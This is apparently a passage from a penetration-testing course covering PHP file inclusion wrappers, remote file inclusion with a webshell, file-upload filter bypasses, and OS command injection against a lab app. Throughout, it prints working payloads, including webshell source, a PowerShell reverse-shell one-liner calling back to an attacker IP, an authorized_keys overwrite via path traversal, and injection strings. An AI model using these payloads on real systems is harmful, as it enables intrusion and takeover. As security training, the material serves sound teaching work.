PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn...
dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K
...
Listing 22 - Usage of "php://filter" to include base64 encoded admin.php
Listing 22 shows that we included base64 encoded data, while the rest of the page loaded correctly. We can now use the base64 program with the -d flag to decode the encoded data in the terminal.
kali@kali:~$ echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<?php echo '<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.'; ?>
<?php
$servername = "localhost";
$username = "root";
$password = "M00nK4keCard!2#";
// Create connection
$conn = new mysqli($servername, $username, $password);
...
Listing 23 - Decoding the base64 encoded content of admin.php
The decoded data contains MySQL6 connection information, including a username and password. We can use these credentials to connect to the database or try the password for user accounts via SSH.
While the php://filter wrapper can be used to include the contents of a file, we can use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method when we cannot poison a local file with PHP code.
Let's demonstrate how to use the data:// wrapper with the "Mountain Desserts" web application. To use the wrapper, we'll add data:// followed by the data type and content. In our first example, we will try to embed a small URL-encoded PHP snippet into the web application's code. We can use the same PHP snippet as previously with ls the command.
kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
...
Listing 24 - Usage of the "data://" wrapper to execute ls
Listing 24 shows that our embedded data was successfully executed via the File Inclusion vulnerability and data:// wrapper.
When web application firewalls or other security mechanisms are in place, they may filter strings like "system" or other PHP code elements. In such a scenario, we can try to use the data:// wrapper with base64-encoded data. We'll first encode the PHP snippet into base64, then use curl to embed and execute it via the data:// wrapper.
kali@kali:~$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
start.sh
...
Listing 25 - Usage of the "data://" wrapper with base64 encoded data
Listing 25 shows that we successfully achieved code execution with the base64-encoded PHP snippet. This is a handy technique that may help us bypass basic filters. However, we need to be aware that the data:// wrapper will not work in a default PHP installation. To exploit it, the allow_url_include7 setting needs to be enabled.
(PHP Manual, 2021), https://www.php.net/manual/en/wrappers.php.php ↩︎
(PHP Manual, 2020), https://www.php.net/manual/en/wrappers.data.php ↩︎
(PHP Manual, 2010), https://www.php.net/manual/en/wrappers.php ↩︎
(PHP Manual, 2020), https://www.php.net/manual/en/function.str-rot13.php ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Base64 ↩︎
(MySQL, 2022), https://www.mysql.com/ ↩︎
(PHP Manual, 2022), https://www.php.net/manual/en/filesystem.configuration.php ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Exploit the Local File Inclusion vulnerability on WEB18 (VM #1) by using the php://filter with base64 encoding to include the contents of the /var/www/html/backup.php file with Burp or curl. Copy the output, decode it, and find the flag.
- Follow the steps above and use the data:// PHP Wrapper in combination with the URL encoded PHP snippet we used in this section to execute the uname -a command on WEB18 (VM #1). Enter the Linux kernel version as answer.
9.2.3. Remote File Inclusion (RFI)
Remote file inclusion (RFI) vulnerabilities are less common than LFIs since the target system must be configured in a specific way. In PHP web applications, for example, the allow_url_include option needs to be enabled to leverage RFI, just as with the data:// wrapper from the previous section. As stated, it is disabled by default in all current versions of PHP. While LFI vulnerabilities can be used to include local files, RFI vulnerabilities allow us to include files from a remote system over HTTP1 or SMB.2 The included file is also executed in the context of the web application. Common scenarios where we'll find this option enabled is when the web application loads files or contents from remote systems e.g. libraries or application data. We can discover RFI vulnerabilities using the same techniques covered in the Directory Traversal and LFI sections.
Kali Linux includes several PHP webshells in the /usr/share/webshells/php/ directory that can be used for RFI. A webshell is a small script that provides a web-based command line interface, making it easier and more convenient to execute commands. In this example, we will use the simple-backdoor.php webshell to exploit an RFI vulnerability in the "Mountain Desserts" web application.
First, let's briefly review the contents of the simple-backdoor.php webshell. We'll use it to test the LFI vulnerability from the previous sections for RFI. The code is very similar to the PHP snippet we used in previous sections. It accepts commands in the cmd parameter and executes them via the system function.
kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
Listing 26 - Location and contents of the simple-backdoor.php webshell
To leverage an RFI vulnerability, we need to make the remote file accessible by the target system. We can use the Python33 http.server4 module to start a web server on our Kali machine and serve the file we want to include remotely on the target system. The http.server module sets the web root to the current directory of our terminal.
We could also use a publicly-accessible file, such as one from Github.
kali@kali:/usr/share/webshells/php/$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 27 - Starting the Python3 http.server module
After the web server is running with /usr/share/webshells/php/ as its current directory, we have completed all necessary steps on our attacking machine. Next, we'll use curl to include the hosted file via HTTP and specify ls as our command.
kali@kali:/usr/share/webshells/php/$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>
Listing 28 - Exploiting RFI with a PHP backdoor and execution of ls
Listing 28 shows that we successfully exploited an RFI vulnerability by including a remotely hosted webshell. We could now use Netcat again to create a reverse shell and receive an interactive shell on the target system, as in the LFI section.
(Mozilla Developer Network, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Server_Message_Block ↩︎
(Python Documentation, 2022), https://docs.python.org/3/ ↩︎
(Python Documentation, 2022), https://docs.python.org/3/library/http.server.html ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section to leverage RFI to remotely include the /usr/share/webshells/php/simple-backdoor.php PHP file. Use the "cmd" parameter to execute commands on VM #1 and use the cat command to view the contents of the authorized_keys file in the /home/elaine/.ssh/ directory. The file contains one entry including a restriction for allowed commands. Find the flag specified as the value to the command parameter in this file.
- Instead of including the /usr/share/webshells/php/simple-backdoor.php webshell, include the PHP reverse shell from Pentestmonkey's Github repository. Change the $ip variable to the IP of your Kali machine and $port to 4444. Start a Netcat listener on port 4444 on your Kali machine and exploit the RFI vulnerability on VM #2 to include the PHP reverse shell. Find the flag in the /home/guybrush/.treasure/flag.txt file.
9.3. File Upload Vulnerabilities
This Learning Unit covers the following Learning Objectives:
- Understand File Upload vulnerabilities
- Learn how to identify File Upload vulnerabilities
- Explore different vectors to exploit File Upload vulnerabilities
Many web applications provide functionality to upload files. In this Learning Unit, we will learn how to identify, exploit, and leverage File Upload vulnerabilities to access the underlying system or execute code. In general, we can group File Upload vulnerabilities into three categories:
The first category consists of vulnerabilities enabling us to upload files that are executable by the web application. For example, if we can upload a PHP script to a web server where PHP is enabled, we can execute the script by accessing it via the browser or curl. As we observed in the File Inclusion Learning Unit, apart from PHP, we can also leverage this kind of vulnerability in other frameworks or server-side scripting languages.
The second category consists of vulnerabilities that require us to combine the file upload mechanism with another vulnerability, such as Directory Traversal. For example, if the web application is vulnerable to Directory Traversal, we can use a relative path in the file upload request and try to overwrite files like authorized_keys. Furthermore, we can also combine file upload mechanisms with XML External Entity (XXE)1 or Cross Site Scripting (XSS)2 attacks. For example, when we are allowed to upload an avatar to a profile with an SVG3 file type, we may embed an XXE attack to display file contents or even execute code.
The third category relies on user interaction. For example, when we discover an upload form for job applications, we can try to upload a CV in .docx4 format with malicious macros5 integrated. Since this category requires a person to access our uploaded file, we will focus on the other two kinds of file upload vulnerabilities in this Learning Unit.
(OWASP, 2022), https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing ↩︎
(OWASP, 2022), https://owasp.org/www-community/attacks/xss/ ↩︎
(Mozilla Developer Network, 2022), https://developer.mozilla.org/en-US/docs/Web/SVG ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/openspecs/office_standards/ms-docx/ ↩︎
(Microsoft Support, 2022), https://support.microsoft.com/en-us/office/macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6 ↩︎
9.3.1. Using Executable Files
In this section we will review a file upload vulnerability that enables us to upload files to be run by the web server. As with Directory Traversal and File Inclusion vulnerabilities, we should understand how to identify File Upload vulnerabilities.
Depending on the web application and its usage, we can make educated guesses to locate upload mechanisms. If the web application is a Content Management System (CMS),1 we can often upload an avatar for our profile or create blog posts and web pages with attached files. If our target is a company website, we can often find upload mechanisms in career sections or company-specific use cases. For example, if the target website belongs to a lawyer's office, there may be an upload mechanism for case files. Sometimes the file upload mechanisms are not obvious to users, so we should never skip the enumeration phase when working with a web application.
In this example, we will abuse a file upload mechanism to achieve code execution and obtain a reverse shell. Let's review the "Mountain Desserts" web application on the MOUNTAIN VM. We'll open up Firefox and navigate to http://192.168.50.189/meteor/.
Figure 14 shows that in the new version of the "Mountain Desserts" app, the Admin link has been replaced by an upload form. The text explains that we can upload a picture to win a contest. The tab bar also shows an XAMPP icon displayed in the current tab, indicating the web application is likely running the XAMPP stack. The text explains that the company wanted to switch to Windows, so we can assume that the web application is now running on a Windows system. Let's find out if we can upload a text file instead of an image.
kali@kali:~$ echo "this is a test" > test.txt
Listing 29 - Create a test text file
Let's upload the test file to the web application via the upload form in the browser.
Figure 15 shows that we successfully uploaded our text file, so we know that the upload mechanism is not limited to images only. Next, let's attempt to upload the simple-backdoor.php webshell used in the previous Learning Unit.
Figure 16 shows that the web application blocked our upload, stating that PHP files are not allowed and files with PHP file extensions are blacklisted. Since don't know exactly how the filter is implemented, we'll use a trial-and-error approach to find ways to bypass it.
One method to bypass this filter is to change the file extension to a less-commonly used PHP file extension2 such as .phps or .php7. This may allow us to bypass simple filters that only check for the most common file extensions, .php and .phtml. These alternative file extensions were mostly used for older versions of PHP or specific use cases, but are still supported for compatibility in modern PHP versions.
Another way we can bypass the filter is by changing characters in the file extension to upper case. The blacklist may be implemented by comparing the file extension of the uploaded file to a list of strings containing only lower-case PHP file extensions. If so, we can update the uploaded file extension with upper-case characters to bypass the filter.
Let's try the second method, updating our simple-backdoor.php file extension from .php to .pHP. After renaming the file either in the terminal or file explorer, we'll upload it via the web form.
This small change allowed us to bypass the filter and upload the file. Let's confirm if we can use it to execute code as we did in the RFI section. The output shows that our file was uploaded to the "uploads" directory, so we can assume there is a directory named "uploads".
Let's use curl to provide dir as a command for the "cmd" parameter of our uploaded web shell.
kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt
2 File(s) 343 bytes
2 Dir(s) 15,410,925,568 bytes free
...
Listing 30 - Execution of dir command in the uploaded webshell
Listing 30 shows us the output of the dir command, confirming we can now execute commands on the target system. Although this bypass was quick and basic, these kinds of bypasses are often highly effective.
Let's wrap up this section by obtaining a reverse shell from the target machine. We'll start a Netcat listener in a new terminal to catch the incoming reverse shell on port 4444.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
Listing 31 - Starting Netcat listener on port 4444
Let's use a PowerShell one-liner3 for our reverse shell. Since there are several special characters in the reverse shell one-liner, we will encode the string with base64. We can use PowerShell4 or an online converter5 to perform the encoding.
In this demonstration, we'll use PowerShell on our Kali machine to encode the reverse shell one-liner. First, let's create the variable $Text, which will be used for storing the reverse shell one-liner as a string. Then, we can use the method convert6 and the property Unicode7 from the class Encoding8 to encode the contents of the $Text variable.
kali@kali:~$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
PS> exit
Listing 32 - Encoding the oneliner in PowerShell on Linux
As shown in Listing 32, the $EncodedText variable contains the encoded reverse shell one-liner. Let's use curl to execute the encoded one-liner via the uploaded simple-backdoor.pHP. We can add the base64 encoded string for the powershell command using the -enc9 parameter. We'll also need to use URL encoding for the spaces.
kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Listing 33 - Using curl to send the base64 encoded reverse shell oneliner
After executing the command, we should receive an incoming reverse shell in the second terminal where Netcat is listening.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50603
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
PS C:\xampp\htdocs\meteor\uploads> whoami
nt authority\system
Listing 34 - Incoming reverse shell
Listing 34 shows that we received a reverse shell through the base64 encoded reverse shell one-liner. Great!
In this section, we have demonstrated how to abuse a file upload mechanism in a PHP web application. We achieved code execution by uploading a web shell from our Kali system. If the target web application was using ASP instead of PHP, we could have used the same process to obtain code execution as we did in the previous example, instead uploading an ASP web shell. Fortunately for us, Kali already contains a broad variety of web shells covering the frameworks and languages we discussed previously located in the /usr/share/webshells/ directory.
kali@kali:~$ ls -la /usr/share/webshells
total 40
drwxr-xr-x 8 root root 4096 Feb 11 02:00 .
drwxr-xr-x 320 root root 12288 Apr 19 09:17 ..
drwxr-xr-x 2 root root 4096 Feb 11 01:58 asp
drwxr-xr-x 2 root root 4096 Apr 25 07:25 aspx
drwxr-xr-x 2 root root 4096 Feb 11 01:58 cfm
drwxr-xr-x 2 root root 4096 Apr 25 07:06 jsp
lrwxrwxrwx 1 root root 19 Feb 11 02:00 laudanum -> /usr/share/laudanum
drwxr-xr-x 2 root root 4096 Feb 11 01:58 perl
drwxr-xr-x 3 root root 4096 Feb 11 01:58 php
Listing 35 - Listing of the webshells directory on Kali
Listing 35 shows us the frameworks and languages for which Kali already offers web shells. It is important to understand that while the implementation of a web shell is dependent on the programming language, the basic process of using a web shell is nearly identical across these frameworks and languages. After we identify the framework or language of the target web application, we need to find a way to upload our web shell. The web shell needs to be placed in a location where we can access it. Next, we can provide commands to it, which are executed on the underlying system.
We should be aware that the file types of our web shells may be blacklisted via a filter or upload mechanism. In situations like this, we can try to bypass the filter as in this section. However, there are other options to consider. Web applications handling and managing files often enable users to rename or modify files. We could abuse this by uploading a file with an innocent file type like .txt, then changing the file back to the original file type of the web shell by renaming it.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Content_management_system ↩︎
(Github, 2016), https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/file-upload/alt-extensions-php.txt ↩︎
(Github, 2022), https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3 ↩︎
(Active Directory Security, 2014), https://adsecurity.org/?p=478 ↩︎
(Base64Encode, 2022), https://www.base64encode.org/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding.convert ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding.unicode ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding ↩︎
(Microsoft Documentation, 2020), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Name (Click to sort ascending) | IP Address | |
---|---|---|
Common Web Application Attacks - File Upload Executable - VM #1 Start Common Web Application Attacks - File Upload Executable - VM #1 with Kali browser access | ||
Common Web Application Attacks - File Upload Executable - VM #2 Start Common Web Application Attacks - File Upload Executable - VM #2 with Kali browser access |
9.3.2. Using Non-Executable Files
In this section, we'll examine why flaws in file uploads can have severe consequences even if there is no way for an attacker to execute the uploaded files. We may encounter scenarios where we find an unrestricted file upload mechanism, but cannot exploit it. One example for this is Google Drive,1 where we can upload any file, but cannot leverage it to get system access. In situations such as this, we need to leverage another vulnerability such as Directory Traversal to abuse the file upload mechanism.
Let's begin to explore the updated "Mountain Desserts" web application by navigating to http://mountaindesserts.com:8000.
We'll first notice that new version of the web application still allows us to upload files. The text also reveals that this version of the application is running on Linux. Furthermore, there is no Admin link at the bottom of the page, and index.php is missing in the URL. Let's use curl to confirm whether the admin.php and index.php files still exist.
kali@kali:~$ curl http://mountaindesserts.com:8000/index.php
404 page not found
kali@kali:~$ curl http://mountaindesserts.com:8000/meteor/index.php
404 page not found
kali@kali:~$ curl http://mountaindesserts.com:8000/admin.php
404 page not found
Listing 36 - Failed attempts to access PHP files
Listing 36 shows that the index.php and admin.php files no longer exist in the web application. We can safely assume that the web server is no longer using PHP. Let's try to upload a text file. We'll start Burp to capture the requests and use the form on the web application to upload the test.txt file from the previous section.
Figure 19 shows that the file was successfully uploaded according to the web application's output.
When testing a file upload form, we should always determine what happens when a file is uploaded twice. If the web application indicates that the file already exists, we can use this method to brute force the contents of a web server. Alternatively, if the web application displays an error message, this may provide valuable information such as the programming language or web technologies in use.
Let's review the test.txt upload request in Burp. We'll select the POST request in HTTP history, send it to Repeater, and click on Send.
Figure 20 shows we receive the same output as we did in the browser, without any new or valuable information. Next, let's check if the web application allows us to specify a relative path in the filename and write a file via Directory Traversal outside of the web root. We can do this by modifying the "filename" parameter in the request so it contains ../../../../../../../test.txt, then click send.
The Response area shows us that the output includes the ../ sequences. Unfortunately, we have no way of knowing if the relative path was used for placing the file. It's possible that the web application's response merely echoed our filename and sanitized it internally. For now, let's assume the relative path was used for placing the file, since we cannot find any other attack vector. If our assumption is correct, we can try to blindly overwrite files, which may lead us to system access. We should be aware, that blindly overwriting files in a real-life penetration test could result in lost data or costly downtime of a production system. Before moving forward, let's briefly review web server accounts and permissions.
Web applications using Apache, Nginx or other dedicated web servers often run with specific users, such as www-data on Linux. Traditionally on Windows, the IIS web server runs as a Network Service account, a passwordless built-in Windows identity with low privileges. Starting with IIS version 7.5, Microsoft introduced the IIS Application Pool Identities.2 These are virtual accounts running web applications grouped by application pools.3 Each application pool has its own pool identity, making it possible to set more precise permissions for accounts running web applications.
When using programming languages that include their own web server, administrators and developers often deploy the web application without any privilege structures by running applications as root or Administrator to avoid any permissions issues. This means we should always verify whether we can leverage root or administrator privileges in a file upload vulnerability.
Let's try to overwrite the authorized_keys file in the home directory for root. If this file contains the public key of a private key we control, we can access the system via SSH as the root user. To do this, we'll create an SSH keypair with ssh-keygen,4 as well as a file with the name authorized_keys containing the previously created public key.
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...
kali@kali:~$ cat fileup.pub > authorized_keys
Listing 37 - Prepare authorized_keys file for File Upload
Now that the authorized_keys file contains our public key, we can upload it using the relative path ../../../../../../../root/.ssh/authorized_keys. We will select our authorized_keys file in the file upload form and enable intercept in Burp before we click on the Upload button. When Burp shows the intercepted request, we can modify the filename accordingly and press Forward.
Figure 22 shows the specified relative path for our authorized_keys file. If we've successfully overwritten the authorized_keys file of the root user, we should be able to use our private key to connect to the system via SSH. We should note that often the root user does not carry SSH access permissions. However, since we can't check for other users by, for example, displaying the contents of /etc/passwd, this is our only option.
The target system runs an SSH server on port 2222. Let's use the corresponding private key of the public key in the authorized_keys file to try to connect to the system. We'll use the -i parameter to specify our private key and -p for the port.
In the Directory Traversal Learning Unit, we connected to port 2222 on the host mountaindesserts.com and our Kali system saved the host key of the remote host. Since the target system of this section is a different machine, SSH will throw an error because it cannot verify the host key it saved previously. To avoid this error, we'll delete the known_hosts file before we connect to the system. This file contains all host keys of previous SSH connections.
kali@kali:~$ rm ~/.ssh/known_hosts
kali@kali:~$ ssh -p 2222 -i fileup root@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
root@76b77a6eae51:~#
Listing 38 - Using the SSH key to successufully connect via SSH as the root user
We could successfully connect as root with our private key due to the overwritten authorized_keys file. Facing a scenario in which we can't use a file upload mechanism to upload executable files, we'll need to get creative to find other vectors we can leverage.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Google_Drive ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/iis/configuration/system.applicationhost/applicationpools ↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Ssh-keygen ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps above on VM #1 to overwrite the authorized_keys file with the file upload mechanism. Connect to the system via SSH on port 2222 and find the flag in /root/flag.txt.
9.4. Command Injection
This Learning Unit covers the following Learning Objectives:
- Learn about command injection in web applications
- Use operating system commands for OS command injection
- Understand how to leverage command injection to gain system access
In this Learning Unit we will explore how to identify and exploit command injection vulnerabilities. We will learn about OS command injection, which allows us to inject commands into the command line of the underlying operating system of a web application.
9.4.1. OS Command Injection
Web applications often need to interact with the underlying operating system, such as when a file is created through a file upload mechanism. Web applications should always offer specific APIs or functionalities that use prepared commands for the interaction with the system. Prepared commands provide a set of functions to the underlying system that cannot be changed by user input. However, these APIs and functions are often very time consuming to plan and develop.
Sometimes a web application needs to address a multitude of different cases, and a set of predefined functions can be too inflexible. In these cases, web developers often tend to directly accept user input, then sanitize it. This means that user input is filtered for any command sequences that might try to change the application's behavior for malicious purposes.
For this demonstration, let's review the "Mountain Vaults" web application, running on port 8000 on the MOUNTAIN system. We can open it in our browser by navigating to http://192.168.50.189:8000.
Figure 23 shows an updated version of the application. In this version, we're able to clone git repositories by entering the git clone command combined with a URL. The example shows us the same command we would use in the command line. We can hypothesize that maybe the operating system will execute this string and, therefore, we may be able to inject our own commands. Let's try to use the form to clone the ExploitDB1 repository.
After we click on submit the cloning process of the ExploitDB repository starts.
The output shows that the repository was successfully cloned.
Cloning the repository will result in an error within the lab environment. However, to follow along the walkthrough we can just skip this step.
Furthermore, the actual command is displayed in the web application's output. Let's try to inject arbitrary commands such as ipconfig, ifconfig, and hostname with curl. We'll switch over to HTTP history in Burp to understand the correct structure for the POST request. The request indicates the "Archive" parameter is used for the command.
The figure shows that the "Archive" parameter contains the Git command. This means we can use curl to provide our own commands to the parameter. We'll do this by using the -X parameter to change the request type to POST. We'll also use --data to specify what data is sent in the POST request.
kali@kali:~$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
Command Injection detected. Aborting...%!(EXTRA string=ipconfig)
Listing 39 - Detected Command Injection for ipconfig
On our first try, the web application shows that it detected a command injection attempt with the ipconfig command. Let's attempt to backtrack from the working input and find a bypass for the filter. Next, we'll try to only provide the git command for the Archive parameter in the POST request.
kali@kali:~$ curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
An error occured with execution: exit status 1 and usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
[-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
...
push Update remote refs along with associated objects
'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
Listing 40 - Entering git as command
The output shows the help page for the git command, confirming that we are not restricted to only using git clone. Since we know that only providing "git" works for execution, we can try to add the version2 subcommand. If this is executed, we'll establish that we can specify any git command and achieve code execution. This will also reveal if the web application is running on Windows or Linux, since the output of git version includes the "Windows" string in Git for Windows.3 If the web application is running on Linux, it will only show the version for Git.
kali@kali:~$ curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive
Repository successfully cloned with command: git version and output: git version 2.35.1.windows.2
Listing 40 - Using git version to detect the operating system
The output shows that the web application is running on Windows. Now we can use trial-and-error to poke around the filter and review what's allowed. Since we established that we cannot simply specify another command, let's try to combine the git and ipconfig commands with a URL-encoded semicolon represented as "%3B". Semicolons can be used in a majority of command lines, such as PowerShell or Bash as a delimiter for multiple commands. Alternatively, we can use two ampersands, "&&", to specify two consecutive commands. For the Windows command line (CMD),4 we can also use one ampersand.
kali@kali:~$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive
...
'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
Listing 41 - Entering git and ipconfig with encoded semicolon
The output shows that both commands were executed. We can assume that there is a filter in place checking if "git" is executed or perhaps contained in the "Archive" parameter. Next, let's find out more about how our injected commands are executed. We will first determine if our commands are executed by PowerShell or CMD. In a situation like this, we can use a handy snippet, published by PetSerAl5 that displays "CMD" or "PowerShell" depending on where it is executed.
